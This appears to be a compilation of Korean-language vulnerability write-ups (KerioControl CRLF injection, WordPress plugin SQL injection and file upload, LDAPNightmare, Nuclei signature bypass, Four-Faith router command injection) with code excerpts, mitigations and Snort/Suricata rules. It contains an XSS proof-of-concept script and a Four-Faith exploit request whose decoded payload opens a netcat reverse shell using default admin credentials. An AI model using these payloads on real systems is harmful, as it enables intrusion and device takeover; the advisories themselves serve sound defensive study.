1. GFI KerioControl [1]

- 통합 네트워크 보안 솔루션
- 방화벽, VPN, 웹 필터링, 바이러스 방지, 네트워크 모니터링 기능 제공

2. CVE-2024-52875 [2]

- KerioControl에서 발생하는 CRLF 인젝션 취약점

> HTTP 헤더와 응답 내용을 조작하여, 악성 자바스크립트가 서버 응답에 삽입

> 스크립트가 실행되면 인증된 관리자 사용자의 쿠키 또는 CSRF 토큰을 탈취하며, 토큰을 활용해 악성 .IMG 파일 업로 및 루트 권한의 쉘 스크립트 실행

영향받는 버전 : KerioControl 9.2.5 ~ 9.4.5
CRLF (Carriage Return Line Feed) Injection
- CR (Carrige Return: \r, %0D) : 커서의 위치를 현재 줄의 맨 처음으로 보내는 기능
- LF (Line Feed: \n, %0A) : 커서를 다음 줄로 옮기는 기능
> CRLF는 줄 바꿈을 의미

- HTTP 요청과 응답은 Header와 Body로 구성되며, 이를 CRLF로 구분
- 요청 또는 응답에 CRLF를 추가해 Header와 Body를 분리하여 의도하지 않은 Header를 추가하거나 Body에 명령 추가가 가능한 취약점

 

- dest 파라미터에서 줄 바꿈 문자(Line Feed, LF)에 대한 불충분한 검증으로 인해 발생

> dest 파라미터를 통해 전달된 값은 Location 헤더로 설정되어 HTTP 응답

> Location 헤더는 HTTP 응답에서 클라이언트에게 리소스가 이동된 URL을 알려주는 데 사용되며, 주로 3xx 리다이렉션 응답에 사용

[요청]
GET /nonauth/guestConfirm.cs?dest=aHR0cDovL2F0dGFja2VyLndlYnNpdGU= HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

* aHR0cDovL2F0dGFja2VyLndlYnNpdGU= : hxxp://attacker.website

[응답]
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:03:38 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: hxxp://attacker.website
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="hxxp://attacker.website">hxxp://attacker.website</a>

 

- dest 매개변수에 "\n"이 포함된 값을 전달하면 불충분한 검증으로 Header와 Body를 조작 및 분할할 수 있음

> 아래 응답 예시에서 Header는 HTTP/1.1 302 Found ~ Location: Test 이며 Body는 Test ~ Test</a>로 조작됨

[요청]
GET /nonauth/guestConfirm.cs?dest=VGVzdAoKVGVzdA== HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

* VGVzdAoKVGVzdA== : Test\n\nTest

[응답]
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:34:58 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test


Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="Test

Test">Test

Test</a>

 

- 공격자는 dest 매개변수에 \n\n를 포함하는 악성 스크립트를 삽입해 악성 스크립트 실행 가능 [3]

스크립트 예시

<script>
 target = "192.168.123.64"; // IP address / hostname of the Kerio Control instance
 payload = (navigator.userAgent.includes("Firefox")) ? "resource://xss" : "";
 payload += "\n\n<script>alert('XSS on ' + document.domain)<\/script>";
 location.href = "https://" + target + ":4081/nonauth/guestConfirm.cs?dest=" + encodeURIComponent(btoa(payload));
</script>

[사진 1] 공격 결과

3. 대응방안

- 벤더사 제공 업데이트 적용

제품명 영향받는 버전 해결 버전
KerioControl 9.2.5 ~ 9.4.5 9.4.5 패치 1

 

- 신뢰할 수 있는 IP만 웹 관리 인터페이스에 접근할 수 있도록 제한

- /admin 및 /noauth 페이지에 대한 공개 접근을 방화벽 규칙을 통해 비활성화

- dest 파라미터 대상 한 악성 활동 모니터링

- alert tcp any any -> any any (msg:"CVE-2024-52875"; content:"/nonauth/guestConfirm.cs?dest="; http_uri; nocase;)
- alert tcp any any -> any any (msg:"CVE-2024-52875"; content:"/admin/guestConfirm.cs?dest="; http_uri; nocase;)
- alert tcp any any -> any any (msg:"CVE-2024-52875"; content:"\n\n";)

4. 참고

[1] https://gfi.ai/products-and-solutions/network-security-solutions/keriocontrol
[2] https://karmainsecurity.com/hacking-kerio-control-via-cve-2024-52875
[3] https://karmainsecurity.com/pocs/CVE-2024-52875.php
[4] https://www.dailysecu.com/news/articleView.html?idxno=162867

1. Fancy Product Designer

- 온라인에서 의류, 머그컵, 휴대폰 케이스 등을 사용자 맞춤형으로 디자인할 수 있게 해주는 Worpress 플러그인 [2]

2. 취약점

2.1 CVE-2024-51818 [3]

- 취약점은 class-wc-dokan.php의 get_products_sql_attrs() 함수에 존재
> 해당 함수는 class-product.php의 get_products()에 의해 호출
> Line13 : $attrs를 매개변수로 fpd_get_products_sql_attrs() 호출

 

- get_products_sql_attrs()
> Line23 : fpd_filter_users_select 값이 존재하고, -1이 아닌 경우 if문 실행
> Line24 : "user_id=" 문자열 뒤 strip_tags($_POST['fpd_filter_users_select'])를 추가한 결과를 $where 변수에 할당

 

strip_tags()는 NULL bytes와 HTML 및 PHP 태그를 제거하는 함수로 SQL 공격을 방지하지 못함 [4]
> Line29~31 : $where 값은 get_products()의 $wpdb->get_results로 쿼리에 실행

[사진 1] strip_tags()

inc/api/class-product.php, function get_products()
1     public static function get_products( $attrs = array(), $type = 'catalog' ) {
2     
3     global $wpdb;
4     
5     $defaults = array(
6     'cols' => '*',
7     'where' => '',
8     'order_by' => '',
9     'limit' => null,
10     'offset' => null
11     );
12     
13     $attrs = apply_filters( 'fpd_get_products_sql_attrs', $attrs );
14     
15     extract( array_merge( $defaults, $attrs ) );
16     
17     $products = array();
18     if( fpd_table_exists(FPD_PRODUCTS_TABLE) ) {
19     
20     $where = empty($where) ? $wpdb->prepare( 'WHERE type="%s"', $type) : $wpdb->prepare( 'WHERE type="%s" AND ', $type ) . $where;
21     
22     if( !preg_match('/^[a-zA-Z]+\\s(ASC|DESC)$/', $order_by) )
23     $order_by = '';
24     $order_by = empty($order_by) ? '' : 'ORDER BY '. $order_by;
25     
26     $limit = empty($limit) ? '' : $wpdb->prepare( 'LIMIT %d', $limit );
27     $offset = empty($offset) ? '' : $wpdb->prepare( 'OFFSET %d', $offset );
28     
29     $products = $wpdb->get_results(
30     SELECT $cols FROM .FPD_PRODUCTS_TABLE." $where $order_by $limit $offset"
31     );
32     
33     }
34     
35     return $products;
36     
37     }

woo/class-wc-dokan.php, function get_products_sql_attrs
1     public function get_products_sql_attrs( $attrs ) {
2     
3     $where = isset( $attrs['where'] ) ? $attrs['where'] : null;
4     
5     if( self::user_is_vendor() ) {
6     
7     $user_ids = array(get_current_user_id());
8     
9     //add fpd products from user
10     $fpd_products_user_id = fpd_get_option( 'fpd_wc_dokan_user_global_products' );
11     
12     //skip if no use is set or on product builder
13     if( $fpd_products_user_id !== 'none' && !(isset( $_GET['page'] ) && $_GET['page'] === 'fpd_product_builder') )
14     array_push( $user_ids, $fpd_products_user_id );
15     
16     $user_ids = join( ",", $user_ids );
17     
18     $where = empty($where) ? "user_id IN ($user_ids)" : $where." AND user_id IN ($user_ids)";
19     
20     }
21     
22     //manage products filter
23     if( isset($_POST['fpd_filter_users_select']) && $_POST['fpd_filter_users_select'] != "-1" ) {
24     $where = "user_id=".strip_tags( $_POST['fpd_filter_users_select'] );
25     
26     
27     $attrs['where'] = $where;
28     
29     return $attrs;
30     
31     }

 

2.2 CVE-2024-51919 [5]

- 취약점은 class-pro-export.php의 save_remote_file() 함수와 fpd-admin-functions.php의 fpd_admin_copy_file() 함수에 존재

 

- save_remote_file()
> Line9 : $remote_file_url을 통해 원격 URL 값을 받아 fpd_admin_copy_file() 호출

 

- fpd_admin_copy_file()
> Line8 : basename($file_url)의 결과를 $filename에 할당
> Line10 ~ Line22 : 파일을 복사 또는 저장
파일에 대한 검사 없이 복사 또는 저장하므로 임의의 파일 업로드가 가능

pro-export/class-pro-export.php, function save_remote_file()
1     public static function save_remote_file( $remote_file_url ) {
2     
3         $unique_dir = time().bin2hex(random_bytes(16));
4         $temp_dir = FPD_ORDER_DIR . 'print_ready_files/' . $unique_dir;
5         mkdir($temp_dir);
6     
7         $local_file_path = $temp_dir;
8     
9         $filename = fpd_admin_copy_file(
10             $remote_file_url,
11             $local_file_path
12         );
13     
14         return $filename ? $unique_dir . '/' . $filename : null;
15     
16     }

admin/fpd-admin-functions.php, function fpd_admin_copy_file()
1     function fpd_admin_copy_file( $file_url, $destination_dir ) {
2     
3     if( empty( $file_url ) ) return false;
4     
5     if( !file_exists($destination_dir) )
6             wp_mkdir_p( $destination_dir );
7     
8     $filename = basename( $file_url );
9     
10     if( function_exists('copy') ) {
11     
12     return copy( $file_url, $destination_dir . '/' . $filename ) ? $filename : false;
13     
14     }
15     else {
16     
17     $content = file_get_contents( $file_url );
18     $fp = fopen( $destination_dir . '/' . $filename, 'w' );
19     $bytes = fwrite( $fp, $content );
20     fclose( $fp );
21     
22     return $bytes !== false ? $filename : false;
23     
24     }

3. 대응방안

- 취약점이 벤더사에 전달 되었으나, 최근 버전(6.4.3)까지 패치가 이루어지지 않은 상태
> 권고사항
ⓐ임의 파일 업로드 방지 : 안전한 파일 확장자만 허용하는 허용 목록(allowlist) 설정
ⓑ SQL 인젝션 대응 : 데이터베이스 쿼리의 철저한 입력 값 검증 및 적절한 이스케이프 처리
ⓒ 정기적인 보안 점검 : 플러그인 업데이트 상태 주기적 확인 및 새로운 취약점 발생 여부 모니터링
ⓓ 대안 플러그인 고려 : 개발사가 문제를 해결하지 않는 상황에서 보안이 보장된 대안 플러그인을 사용 고려

4. 참고

[1] https://patchstack.com/articles/critical-vulnerabilities-found-in-fancy-product-designer-plugin/
[2] https://fancyproductdesigner.com/
[3] https://patchstack.com/database/wordpress/plugin/fancy-product-designer/vulnerability/wordpress-fancy-product-designer-plugin-6-4-3-unauthenticated-sql-injection-vulnerability
[4] https://www.php.net/manual/en/function.strip-tags.php
[5] https://patchstack.com/database/wordpress/plugin/fancy-product-designer/vulnerability/wordpress-fancy-product-designer-plugin-6-4-3-unauthenticated-arbitrary-file-upload-vulnerability
[6] https://www.dailysecu.com/news/articleView.html?idxno=162891

1. 개요

- 도메인 컨트롤러를 대상으로 시스템 충돌과 재부팅을 유발할 수 있는 취약점 LDAPNightmare 발견 [1]
- 서비스 거부 취약점 CVE-2024-49113과 정수 오버플로를 통한 원격 코드 실행 취약점 CVE-2024-49112
- Windows 서버를 대상으로 한 심각한 보안 위협이 되고 있어 가능한 한 빨리 '24.12 보안 업데이트 적용 필요

 

1.1 LDAP(Lightweight Directory Access Protocol)

- 네트워크 상에서 조직이나 개인정보 혹은 파일이나 디바이스 정보 등을 찾아보는 것을 가능하게 만든 소프트웨어 프로토콜로 389 포트 사용 [2][3]

> 디렉토리 서비스 표준인 X.500의 DAP(Directory Access Protocol)를 기반으로한 경량화(Lightweight)된 버전으로 서버-클라이언트 구조

※ 디렉토리 서비스란 이름을 기준으로 대상을 찾아 조회하거나 편집할 수 있는 서비스

2. 취약점

2.1 CVE-2024-49113

[사진 1] CVE-2024-49113 [4]

- Windows LDAP 프로토콜에서 발생하는 서비스 거부 취약점

> 공격자가 조작된 CLDAP 요청을 보내 LSASS 프로세스를 충돌시켜 서버 재부팅을 유발할 수 있음

CLDAP (Connection-less Lightweitght Directory Access Protocol)
- LDAP의 한 종류로, UDP/389포트를 사용 (LDAP는 TCP 사용)
- LDAP 대비 응답 시간이 빠르고 오버헤드가 낮으나, 데이터 손실이 발생 가능
※ UDP의 특성상 송신 IP를 확인하지 않고, 응답 패킷이 요청 패킷보다 훨씬 커 DRDoS 공격에 사용됨 (평균 50~86배 정도 증폭)

LSASS (Local Security Authority Subsystem Service)
- Windows 운영체제에서 시스템의 보안 정책을 강화를 위한 윈도우의 프로세스
> 윈도우 시스템에 로그인하려는 사용자의 유효성을 판단
> 사용자 비밀번호 저장 및 관리, 비밀번호 변경 요청 처리
> 인증된 사용자에게 시스템 자원에 접근할 수 있는 권한을 부여하는 액세스 토큰을 생성
> 시스템 보안 관련 이벤트를 기록하며, 시스템의 보안 정책을 적용 및 관리
※ 시스템의 모든 사용자 자격 증명을 저장하고 관리하기 때문에 공격자의 주요 목표 중 하나이며, Mimikatz 등의 공격 도구 존재

 

- 공격과정

① 공격자는 피해자 DC에 DCE/RPC 요청을 전송

- 공격자가 제어하는 LDAP 서버를 쿼리하도록 조작된 DCE/RPC 요청을 전송

> RPC 메소드 중 DsrGetDcNameEx2 메소드는 도메인 컨트롤러의 LDAP 서버 정보를 반환하기 위해 설계된 RPC 호출임

 

- DsrGetDcNameEx2 메소드의 매개변수 중 DomainName을 공격자가 제어하는 DNS 서버로 조작하여 요청 전송

> DomainName이 특정 도메인 또는 사이트를 가리킬 때, 자동으로 해당 도메인에 대한 LDAP DNS SRV 쿼리를 생성

> DNS는 공격자가 제어하는 LDAP 서버의 호스트 네임과 LDAP 포트 정보 응답

[사진 2] DsrGetDcNameEx2 메소드 매개변수 및 설명 [5]

- DC (Domain Controller) : 로그인, 이용권한 확인, 새로운 사용자 등록, 암호 변경 등을 처리하는 기능을 하는 서버 컴퓨터
- DCE/RPC (Distributed Computing Environment/Remote Procedure Calls) : 분산 컴퓨팅 환경(DCE)에서 원격 프로시저 호출(RPC)을 구현하기 위한 프로토콜
- DNS SRV (Service Resource Record) : 특정 서비스에 대해 도메인 이름을 기반으로 연결할 수 있는 호스트 및 포트 정보를 제공하는 DNS 레코드 유형

② NBNS 요청 및 응답

- LDAP 서버의 호스트네임과 포트 정보를 수신한 피해자는 LDAP 서버에 대한 NBNS 쿼리를 수행

> 호스트네임에 대응하는 LDAP 서버의 IP 주소(공격자가 제어하는 LDAP 서버 IP) 응답

- NetBIOS (Network Basic Input/Output System) : 윈도우 네트워크에 사용되는 컴퓨터 이름 [6]
- NBNS (NetBIOS Name Service) : NetBIOS 네트워크 상에서 호스트 이름을 IP 주소로 해석하기 위해 사용되는 프로토콜 [7]

③ 조작된 CLDAP 응답으로 시스템 재부팅 유도

- 피해자 DC는 공격자의 LDAP 서버에 CLDAP 요청을 전송

> 공격자는 LDAP 참조(referral) 결과 코드와 함께 조작된 lm_referral 값을 포함한 조작된 CLDAP 응답 전송

> 조작된 lm_referral 값에 의해 범위를 벗어난 읽기와 LSASS를 충돌이 발생하고 시스템 재부팅을 유도할 수 있음

※ 관련 PoC [8]

lm_referral 값 - LDAP 클라이언트가 참조 테이블에서 메모리 접근을 수행할 때 사용
- 참조 테이블에 액세스하는지 여부를 결정하는 조건은 lm_referral 값이 0이 아닌지 확인
- 0이 아닌 값은 참조 테이블의 오프셋으로 사용되어 메모리 접근이 시도
- 공격자는 해당 값을 조작해 클라이언트가 잘못된 메모리 위치를 참조하도록 유도

[사진 3] 공격 과정 요약

2.2 CVE-2024-49112

[사진 4] CVE-2024-49112 [9]

- Windows LDAP 프로토콜에서 발생하는 원격 코드 실행 취약점 (CVSS: 9.8)

> CLDAP 패킷을 변조하여 LDAP 서비스에서 임의 코드를 실행할 수 있음

 

<<내용 추가 예정>>

 

3. 대응방안

- MS 12월 보안 위협에 따른 정기 보안 업데이트 적용 [10]

> 즉시 패치가 어려운 경우 권고 사항

① 악성 값이 설정된 CLDAP 참조 응답을 모니터링
② 비정상적인 DsrGetDcNameEx2 호출을 탐지
③ 도메인 컨트롤러를 대상으로 하는 의심스러운 DNS SRV 조회를 감지

4. 참고

[1] https://www.safebreach.com/blog/ldapnightmare-safebreach-labs-publishes-first-proof-of-concept-exploit-for-cve-2024-49113/
[2] https://yongho1037.tistory.com/796
[3] https://hec-ker.tistory.com/319
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-49113
[5] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/fb8e1146-a045-4c31-98d1-c68507ad5620
[6] http://www.ktword.co.kr/test/view/view.php?m_temp1=319&id=452
[7] https://wiki.wireshark.org/NetBIOS/NBNS
[8] https://github.com/SafeBreach-Labs/CVE-2024-49113
[9] https://nvd.nist.gov/vuln/detail/CVE-2024-49112
[10] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71606
[11] https://www.dailysecu.com/news/articleView.html?idxno=162699

[12] https://www.boannews.com/media/view.asp?idx=135499&page=1&kind=1

1. Nuclei [2][3][4]

- ProjectDiscovery에서 개발한 YAML 기반 템플릿을 사용하여 취약점을 스캔하는 go 언어 기반의 오픈소스 취약점 스캐너
> YAML 파일로 취약점 스캔 탬플릿을 정의하며, 해당 템플릿을 통해 취약점을 식별
> 템플릿은 직접 작성하거나 커뮤니티에서 제공하는 템플릿 활용 가능
- 웹 애플리케이션 취약점, 네트워크 서비스, API 스캔 등이 가능
- 멀티스레드 기반의 빠른 스캔, 유연성 및 확장성 등의 장점이 있음

2. CVE-2024-43405

[사진 1] CVE-2024-43405 [5]

- Nuclear의 템플릿 서명 검증 시스템에서 발생하는 서명 검증 우회 취약점

영향받는 버전 : Nuclei 3.0.0 ~ 3.3.2 이전 버전

 

- ProjectDiscovery는 무단 데이터 액세스와 시스템 손상을 방지 하기위해 서명 검증 메커니즘을 구현 (위변조 방지, 무결성 확인)

템플릿 파일 내용을 기준으로 SHA256을 계산해 "#digest:"로 삽입

서명 검증 과정
서명 추출 정규식을 사용하여 "#digest:" 줄 검색
서명 제거 템플릿 콘텐츠에서 서명 줄 제외
해시 계산 서명을 제외한 콘텐츠 해시 계산
서명 검증 계산된 해시를 추출된 서명과 비교하여 검증

 

- Nuclear 서명 검증 논리에서 서명 추출 및 제거는 정규표현식을 사용하며, 이후 구문 분석 및 실행에는 YAML 파서 사용

> Line1 ~ Line31 : 첫 번째 서명을 찾아 템플릿에서 서명을 제거
> Line33 ~ Line51 : 서명 검증 후 YAML로 구문 분석 및 실행

 

첫 번째 서명(#digest:)만 확인 : 악성코드가 포함된 두 번째 서명이 검증되지 않고 템플릿에 남아있을 수 있음
줄 바꿈 해석 불일치 : 정규 표현식을 사용한 서명 검증과 YAML 파서 간 줄 바꿈 해석 불일치로 추가 콘텐츠를 삽입할 수 있음

구분 설명
정규 표현식 ‘\r’를 동일한 줄의 일부로 간주
YAML 파서 ‘\r'를 줄 바꿈 문자로 해석
1     var (
2       ReDigest         = regexp.MustCompile(`(?m)^#\sdigest:\s.+$`)
3       SignaturePattern = "# digest: "
4     )
5     
6     func RemoveSignatureFromData(data []byte) []byte {
7       return bytes.Trim(ReDigest.ReplaceAll(data, []byte("")), "\n")
8     }
9     
10     func (t *TemplateSigner) Verify(data []byte) (bool, error) {
11       digestData := ReDigest.Find(data)
12       if len(digestData) == 0 {
13         return false, errors.New("digest not found")
14       }
15     
16       digestData = bytes.TrimSpace(bytes.TrimPrefix(digestData, []byte(SignaturePattern)))
17       digestString := strings.TrimSuffix(string(digestData), ":"+t.GetUserFragment())
18       digest, err := hex.DecodeString(digestString)
19       if err != nil {
20         return false, err
21       }
22     
23       buff := bytes.NewBuffer(RemoveSignatureFromData(data))
24     
25       // Verify using standard Go's ECDSA
26       if !t.verify(sha256.Sum256(buff.Bytes()), digest) {
27         return false, errors.New("signature verification failed")
28       }
29     
30       return true, nil
31     }
32     
33     // SecureExecute is a mock we at Wiz created that mimics Nuclei's logic to illustrate the vulnerability, 
34     // verifying a template's signature, parsing it as YAML, and executing it.
35     func SecureExecute(rawTemplate []byte, verifier *TemplateSigner) (interface{}, error) {
36       // Verify the template signature
37       isVerified, err := verifier.Verify(rawTemplate)
38       if err != nil || !isVerified {
39         return nil, errors.New("template verification failed")
40       }
41     
42       // Parse the template
43       template := &Template{}
44       err = yaml.Unmarshal(rawTemplate, template)
45       if err != nil {
46         return nil, errors.New("couldn't unmarshal template")
47       }
48     
49       // Execute the template and return the result
50       return template.execute()
51     }

 

두 번째 서명에 '\r'를 포함한 악성코드를 삽입하여 악용 가능
두 번째 서명은 서명 검증 과정을 거치지 않고, YAML에서 구문 분석 후 실행됨

[사진 2] YAML 파서와 정규표현식 간 '\r' 문자 처리 비교

3. 대응방안

- Nuclei 3.3.2 이상으로 업그레이드
- 악성 템플릿의 실행을 방지하기 위해 샌드박스 또는 격리된 환경에서 Nuclei 실행

4. 참고

[1] https://www.wiz.io/blog/nuclei-signature-verification-bypass
[2] https://github.com/projectdiscovery/nuclei
[3] https://github.com/projectdiscovery/nuclei/blob/dev/README_KR.md
[4] https://bugbounty.tistory.com/55
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-43405
[6] https://www.bleepingcomputer.com/news/security/nuclei-flaw-lets-malicious-templates-bypass-signature-verification/
[7] https://thehackernews.com/2025/01/researchers-uncover-nuclei.html
[8] https://www.dailysecu.com/news/articleView.html?idxno=162701

1. Four-Faith

- 사물인터넷(IoT) 통신 장비 및 솔루션을 제공하는 중국 기업

2. CVE-2024-12856

[사진 1] CVE-2024-12856 [1]

- Four-Faith 라우터에서 발생하는 OS 명령 주입 취약점
> 공격자가 인증 없이 명령을 실행할 수 있으며, 현재 공격에 악용되는 중

영향받는 버전 : Four-Faith 라우터 모델 F3x24 및 F3x36

 

/apply.cgi 엔드포인트에 조작된 HTTP 요청을 전송해 OS 명령을 실행할 수 있음 [2][3][4]

> submit_type=adj_sys_time을 통해 장치의 시스템 시간을 수정할 때 adj_time_year 매개변수에 OS 명령 주입 가능
> adj_time_year 매개변수에 대한 검증이 적절하지 않거나 누락되어 발생하는 것으로 판단됨

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1:90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Content-Length: 296
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip adj_time_sec=32&change_action=gozila_cgi&adj_time_day=27&adj_time_mon=10&adj_time_hour=11&adj_time_year=%24%28cd+%2Ftmp%2F%3B+mknod+bOY+p%3Bcat+bOY%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.1.206+1270+%3EbOY%3B+rm+bOY%3B%29&adj_time_min=35&submit_button=index&action=Save&submit_type=adjust_sys_time

[디코딩]
admin:admin
adj_time_year=$(cd /tmp/; mknod bOY p;cat bOY|/bin/sh -i 2>&1|nc 192.168.1.206 1270 >bOY; rm bOY;)

3. 대응방안

- 벤더사의 취약점 패치 발표 여부 확인 불가
> VulnCheck는 Suricata를 이용한 규칙 공유

alert http any any -> any any ( \
  msg:"VULNCHECK Four-Faith CVE-2024-12856 Exploit Attempt"; \
  flow:to_server; \
  http.method; content:"POST"; \
  http.uri; content:"/apply.cgi"; startswith; \
  http.header_names; content:"Authorization"; \
  http.request_body; content:"change_action="; \
  content:"adjust_sys_time"; \
  pcre:"/adj_time_[^=]+=[a-zA-Z0-9]*[^a-zA-Z0-9=]/"; \
  classtype:web-application-attack; \
  reference:cve,CVE-2024-12856; \
  sid:12700438; rev:1;)

 

> Snort 탐지 규칙

alert tcp any any -> any any (msg:"CVE-2024-12856"; flow:to_server,established; content:"POST"; http_method; content:"/apply.cgi"; http_uri; content:"adj_time_year"; http_client_body; nocase;)

 

- 권고사항
> 기본 자격 증명 변경
> 불필요 서비스 및 포트 비활성화
> 정기적 펌웨어 업데이트 등

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-12856
[2] https://vulncheck.com/advisories/four-faith-time
[3] https://vulncheck.com/blog/four-faith-cve-2024-12856
[4] https://ducklingstudio.blog.fc2.com/blog-entry-392.html
[5] https://www.boannews.com/media/view.asp?idx=135376
[6] https://www.dailysecu.com/news/articleView.html?idxno=162560

1. WPLMS 플러그인 (WordPress Learning Management System)

- WordPress를 사용해 LMS를 구축할 수 있도록 돕는 플러그인

※ Learning Management System : 학습 관리 시스템, 온라인으로 학생들의 학습을 관리할 수 있게 해주는 소프트웨어

2. VibeBP (Vibe BuddyPress Plugin)

- WPLMS와 함께 사용되는 플러그인으로, 강력한 소셜 네트워킹 및 회원 관리 기능을 제공

3. 취약점

3.1 CVE-2024-56042 [2][3]

[사진 1] CVE-2024-56042

- WPLMS에서 발생하는 SQL Injection 취약점 (CVSS: 9.3)

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- includes/vibe-course-module/includes/api/v3/class-api-commissions.php의 get_instructor_commissions_chart()에 취약점 존재
> json/wplms/v1/commissions/instructor/<ID>/chart의 REST 엔드포인트를 처리
> REST 엔드포인트 자체에서는 commissions_request_validate()를 통해 사용자 권한을 확인

 

> Line4 및 Line7 : 클라이언트 요청에서 course_id와 currency 파라미터를 추출 및 $course_id와 $currency에 할당 
> Line16 ~ Line24 : $course_id와 $currency를 .=(문자열 연결 연산자) 연사자를 사용해 $and_where에 할당
> Line29 ~ Line40 : get_results()를 사용해 SQL 쿼리를 실행한 후 결과를 $results에 할당

 

- $course_id와 $currency에 대한 적절한 검증 없이 $and_where에 포함되어 SQL 쿼리에 사용되므로, 유효한 ID를 가진 공격자에 의해 SQL Injection 취약점이 발생

includes/vibe-course-module/includes/api/v3/class-api-commissions.php, function get_instructor_commissions_chart()
1     function get_instructor_commissions_chart($request){
2     
3     $user_id = $request->get_param('id');
4     $course_id =$request->get_param('course_id');
5     $date_start = $request->get_param('date_start');
6     $date_end = $request->get_param('date_end');
7     $currency = $request->get_param('currency');
8     ------------ CUT HERE ------------
9     
10     $and_where = '';
11     $start_date = '';
12     $end_date = '';
13     $group_by = ' GROUP BY select_parameter';
14     $select = 'MONTH(activity.date_recorded) as select_parameter';
15     
16     if(!empty($course_id)){
17     $and_where .= " AND activity.item_id = $course_id ";
18     }else{
19     
20     ------------ CUT HERE ------------
21     }
22     if(!empty($currency)) {
23     $and_where .= " AND meta2.meta_value = '".$currency."' ";
24     }
25     
26     ------------ CUT HERE ------------
27     global $wpdb;
28     global $bp;
29     $results = $wpdb->get_results( "
30     SELECT ".$select.", sum(meta.meta_value) as commission
31     FROM {$bp->activity->table_name} AS activity
32     LEFT JOIN {$bp->activity->table_name_meta} as meta ON activity.id = meta.activity_id
33     LEFT JOIN {$bp->activity->table_name_meta} as meta2 ON activity.id = meta2.activity_id
34     WHERE     activity.component     = 'course'
35     AND     activity.type     = 'course_commission'
36     AND     activity.user_id     = {$user_id}
37     AND     meta.meta_key   LIKE '_commission%'
38     AND     meta2.meta_key   LIKE '_currency%'
39     .$and_where.
40     .$group_by,ARRAY_A);
41     ------------ CUT HERE ------------
42     }

 

3.2 CVE-2024-56047 [4][5]

[사진 2] CVE-2024-56047

- WPLMS에서 발생하는 SQL Injection 취약점

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- include/vibe-course-module/includes/api/v3/class-api-user-controller.php의 search_users_in_chat()에 취약점 존재
> json/wplms/v2/user/alluser의 REST 엔드포인트를 처리하며, 인증된 모든 사용자가 액세스할 수 있음
> Line3 : 클라이언트로부터 전달받은 user_initials를 추출해 $user_initials에 할당
> Line4 : $user_initials를 포함해 SQL 쿼리 실행 및 결과를 $results에 할당

 

- user_initials에 대한 적절한 검증 없이 $user_initials에 할당되어 SQL 쿼리에 사용되므로, SQL Injection 취약점이 발생

includes/vibe-course-module/includes/api/v3/class-api-user-controller.php, function search_users_in_chat()
1     function search_users_in_chat($request){
2     global $wpdb;
3     $user_initials = $request->get_param('user_initials');
4     $results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}users WHERE `user_nicename` LIKE '%{$user_initials}%'", ARRAY_A );
5     
6     $return = array('status'=>1,'message'=>'','users'=>array());
7     if(!empty($results)){
8     foreach($results as $result){
9     $return['users'][]=apply_filters('wplms_api_search_users_in_chat',array(
10     'name'=> bp_core_get_user_displayname($result['ID']),
11     'id'=> intval($result['ID']),
12     'image'=> bp_core_fetch_avatar(array('item_id' => $result['ID'],'type'=>'thumb', 'html' => false)),
13     'type'=> (user_can(intval($result['ID']),'manage_options')?_x('Administrator','Chat search result user type','wplms'):(user_can($result['ID'],'edit_posts')?_x('Instructor','Chat search result user type','wplms'):_x('Student','Chat search result user type','wplms')))
14     ));
15     }
16     }else{
17     $return = array('status'=> 0,'message'=>_x('No user found !','Chat search result','wplms'),'users'=>array());
18     }
19     
20     }

 

3.3 CVE-2024-56039 [6][7]

[사진 3] CVE-2024-56039

- VibeBP에서 발생하는 SQL Injection 취약점 (CVSS: 9.3)

영향받는 버전 : VibeBP < 1.9.9.7.7

 

- include/buddypress/class-api-settings-controller.php의 get_avatar()에 취약점 존재
> json/vbp/v1/avatar의 REST 엔드포인트를 처리
> REST 엔드포인트 자체에서는 commissions_request_validate()를 통해 사용자 권한을 확인

 

> Line3 ~ Line4 : 클라이언트로부터 전달받은 요청의 Body를 JSON으로 디코딩 및 재귀적으로 필터링한 후 $body에 할당
> Line33 : $body['ids']['item_id']를 포함해 SQL 쿼리 실행 및 결과를 $name에 할당

 

- $body 값에 대한 적절한 검증 없이 get_var()에 포함되어 SQL 쿼리에 사용되므로, SQL Injection 취약점이 발생

includes/buddypress/class-api-settings-controller.php, function get_avatar()
1     function get_avatar($request){
2     
3     $body = json_decode($request->get_body(),true);
4     $body = vibebp_recursive_sanitize_text_field($body);
5     $name = '';
6     $avatar= '';
7     $key='';
8     $type = '';
9     if(!empty($body['type'])){$type=$body['type'];}
10     switch($type){
11     case 'friends':
12     
13     $key = 'user_'.$body['ids']['item_id'];
14     $avatar = bp_core_fetch_avatar(array(
15     'item_id' => (int)$body['ids']['item_id'],
16     'object'  => 'user',
17     'type'=>'thumb',
18     'html'    => false
19     ));
